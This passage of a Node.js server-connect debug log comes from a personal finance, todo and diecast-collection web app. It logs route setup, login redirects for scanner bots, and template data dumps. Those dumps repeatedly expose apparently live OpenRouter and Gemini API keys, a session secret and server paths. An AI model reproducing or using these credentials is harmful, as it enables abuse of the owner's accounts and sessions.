    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    referer: 'https://ems.sanjaychaurasia.xyz/',
    'user-agent': 'Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '104.197.65.208',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-05-19T15:42:47.820Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '104.197.65.208',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/',
    HTTP_USER_AGENT: 'Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '104.197.65.208',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-05-18T17:45:38.727Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-05-18T17:45:42.206Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-05-18T17:45:43.067Z server-connect:setup:upload Upload middleware configured.
2026-05-18T17:45:43.068Z server-connect:secure CSRF Protection initialized
2026-05-18T17:45:43.073Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-05-18T17:45:43.076Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-05-18T17:45:43.076Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-05-18T17:45:43.078Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-05-18T17:45:43.085Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-05-18T17:45:43.091Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-05-18T17:45:43.103Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-05-18T17:45:43.115Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-05-18T17:45:43.119Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-05-18T17:45:43.122Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-05-18T17:45:43.123Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-05-18T17:45:43.128Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-05-18T17:45:43.133Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-05-18T17:45:43.142Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-05-18T17:45:43.148Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-05-18T17:45:43.155Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-05-18T17:45:43.156Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-05-18T17:45:43.160Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-05-18T17:45:43.167Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-05-18T17:45:43.171Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-05-18T17:45:43.172Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-05-18T17:45:43.181Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-05-18T17:45:43.184Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-05-18T17:45:43.189Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-05-18T17:45:43.192Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-05-18T17:45:43.196Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-05-18T17:45:43.196Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-05-18T17:45:43.200Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-05-18T17:45:43.205Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-05-18T17:45:43.208Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-05-18T17:45:43.208Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-05-18T17:45:43.212Z server-connect:setup:routes Api route /api/test(.json)? created
2026-05-18T17:45:43.216Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-05-18T17:45:43.216Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-05-18T17:45:43.222Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-05-18T17:45:43.228Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-05-18T17:45:43.229Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-05-18T17:45:43.238Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-05-18T17:45:43.770Z server-connect:router Serving templateView /
2026-05-18T17:45:43.775Z server-connect:app Executing action step identify
2026-05-18T17:45:43.775Z server-connect:app options: { provider: 'security' }
2026-05-18T17:45:43.780Z server-connect:auth No login cookie found
2026-05-18T17:45:43.780Z server-connect:output identity: false
2026-05-18T17:45:43.780Z server-connect:app Executing action step restrict
2026-05-18T17:45:43.781Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-05-18T17:45:43.784Z server-connect:output restrict: undefined
2026-05-18T17:45:43.921Z server-connect:router Serving templateView /login
2026-05-18T17:45:43.921Z server-connect:app Executing action step identify
2026-05-18T17:45:43.922Z server-connect:app options: { provider: 'security' }
2026-05-18T17:45:43.922Z server-connect:auth No login cookie found
2026-05-18T17:45:43.922Z server-connect:output identity: false
2026-05-18T17:45:43.922Z server-connect:router Render template layouts/authentication
2026-05-18T17:45:43.922Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)',
    referer: 'https://www.ems.sanjaychaurasia.xyz/',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '35.223.214.136',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-05-19T17:45:43.919Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '35.223.214.136',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)',
    HTTP_REFERER: 'https://www.ems.sanjaychaurasia.xyz/',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '35.223.214.136',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-05-20T01:26:29.650Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-05-20T01:26:31.920Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-05-20T01:26:32.783Z server-connect:setup:upload Upload middleware configured.
2026-05-20T01:26:32.783Z server-connect:secure CSRF Protection initialized
2026-05-20T01:26:32.789Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-05-20T01:26:32.791Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-05-20T01:26:32.791Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-05-20T01:26:32.792Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-05-20T01:26:32.799Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-05-20T01:26:32.805Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-05-20T01:26:32.817Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-05-20T01:26:32.830Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-05-20T01:26:32.834Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-05-20T01:26:32.837Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-05-20T01:26:32.838Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-05-20T01:26:32.842Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-05-20T01:26:32.847Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-05-20T01:26:32.857Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-05-20T01:26:32.862Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-05-20T01:26:32.936Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-05-20T01:26:32.937Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-05-20T01:26:32.940Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-05-20T01:26:32.947Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-05-20T01:26:32.951Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-05-20T01:26:32.954Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-05-20T01:26:32.961Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-05-20T01:26:32.964Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-05-20T01:26:32.969Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-05-20T01:26:32.971Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-05-20T01:26:32.975Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-05-20T01:26:32.977Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-05-20T01:26:32.979Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-05-20T01:26:32.985Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-05-20T01:26:32.985Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-05-20T01:26:32.988Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-05-20T01:26:32.990Z server-connect:setup:routes Api route /api/test(.json)? created
2026-05-20T01:26:32.996Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-05-20T01:26:32.996Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-05-20T01:26:33.002Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-05-20T01:26:33.007Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-05-20T01:26:33.007Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-05-20T01:26:33.017Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-05-20T01:26:33.509Z server-connect:server Got error? Error: Unexpected end of form
    at Multipart._final (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/busboy/lib/types/multipart.js:588:17)
    at prefinish (node:internal/streams/writable:916:14)
    at finishMaybe (node:internal/streams/writable:930:5)
    at Writable.end (node:internal/streams/writable:845:5)
    at IncomingMessage.onend (node:internal/streams/readable:948:10)
    at Object.onceWrapper (node:events:633:28)
    at IncomingMessage.emit (node:events:519:28)
    at endReadableNT (node:internal/streams/readable:1698:12)
    at process.processTicksAndRejections (node:internal/process/task_queues:89:21)
2026-05-20T08:56:04.607Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-05-20T08:56:06.816Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-05-20T08:56:07.681Z server-connect:setup:upload Upload middleware configured.
2026-05-20T08:56:07.681Z server-connect:secure CSRF Protection initialized
2026-05-20T08:56:07.687Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-05-20T08:56:07.689Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-05-20T08:56:07.690Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-05-20T08:56:07.690Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-05-20T08:56:07.698Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-05-20T08:56:07.703Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-05-20T08:56:07.714Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-05-20T08:56:07.728Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-05-20T08:56:07.733Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-05-20T08:56:07.733Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-05-20T08:56:07.737Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-05-20T08:56:07.740Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-05-20T08:56:07.747Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-05-20T08:56:07.755Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-05-20T08:56:07.760Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-05-20T08:56:07.832Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-05-20T08:56:07.834Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-05-20T08:56:07.837Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-05-20T08:56:07.843Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-05-20T08:56:07.847Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-05-20T08:56:07.850Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-05-20T08:56:07.858Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-05-20T08:56:07.858Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-05-20T08:56:07.866Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-05-20T08:56:07.866Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-05-20T08:56:07.871Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-05-20T08:56:07.874Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-05-20T08:56:07.874Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-05-20T08:56:07.881Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-05-20T08:56:07.883Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-05-20T08:56:07.885Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-05-20T08:56:07.887Z server-connect:setup:routes Api route /api/test(.json)? created
2026-05-20T08:56:07.891Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-05-20T08:56:07.893Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-05-20T08:56:07.898Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-05-20T08:56:07.902Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-05-20T08:56:07.904Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-05-20T08:56:07.916Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-05-20T11:16:36.680Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-05-20T11:16:38.949Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-05-20T11:16:39.813Z server-connect:setup:upload Upload middleware configured.
2026-05-20T11:16:39.813Z server-connect:secure CSRF Protection initialized
2026-05-20T11:16:39.817Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-05-20T11:16:39.819Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-05-20T11:16:39.819Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-05-20T11:16:39.823Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-05-20T11:16:39.829Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-05-20T11:16:39.835Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-05-20T11:16:39.845Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-05-20T11:16:39.859Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-05-20T11:16:39.864Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-05-20T11:16:39.864Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-05-20T11:16:39.867Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-05-20T11:16:39.872Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-05-20T11:16:39.877Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-05-20T11:16:39.887Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-05-20T11:16:39.890Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-05-20T11:16:39.961Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-05-20T11:16:39.963Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-05-20T11:16:39.966Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-05-20T11:16:39.973Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-05-20T11:16:39.977Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-05-20T11:16:39.980Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-05-20T11:16:39.987Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-05-20T11:16:39.987Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-05-20T11:16:39.994Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-05-20T11:16:39.996Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-05-20T11:16:40.001Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-05-20T11:16:40.001Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-05-20T11:16:40.005Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-05-20T11:16:40.013Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-05-20T11:16:40.013Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-05-20T11:16:40.016Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-05-20T11:16:40.016Z server-connect:setup:routes Api route /api/test(.json)? created
2026-05-20T11:16:40.023Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-05-20T11:16:40.023Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-05-20T11:16:40.030Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-05-20T11:16:40.034Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-05-20T11:16:40.034Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-05-20T11:16:40.045Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-05-20T11:16:40.534Z server-connect:router Serving templateView /
2026-05-20T11:16:40.576Z server-connect:app Executing action step identify
2026-05-20T11:16:40.577Z server-connect:app options: { provider: 'security' }
2026-05-20T11:16:40.588Z server-connect:auth No login cookie found
2026-05-20T11:16:40.588Z server-connect:output identity: false
2026-05-20T11:16:40.589Z server-connect:app Executing action step restrict
2026-05-20T11:16:40.589Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-05-20T11:16:40.592Z server-connect:output restrict: undefined
2026-05-20T11:16:40.725Z server-connect:router Serving templateView /login
2026-05-20T11:16:40.725Z server-connect:app Executing action step identify
2026-05-20T11:16:40.725Z server-connect:app options: { provider: 'security' }
2026-05-20T11:16:40.725Z server-connect:auth No login cookie found
2026-05-20T11:16:40.726Z server-connect:output identity: false
2026-05-20T11:16:40.726Z server-connect:router Render template layouts/authentication
2026-05-20T11:16:40.726Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (compatible; InternetMeasurement/1.0; +https://internet-measurement.com/)',
    accept: '*/*',
    referer: 'https://ems.sanjaychaurasia.xyz/',
    'accept-encoding': 'gzip',
    xxxxxxxxxx: 'close',
    'x-forwarded-for': '185.247.137.140',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-05-21T11:16:40.723Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '185.247.137.140',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
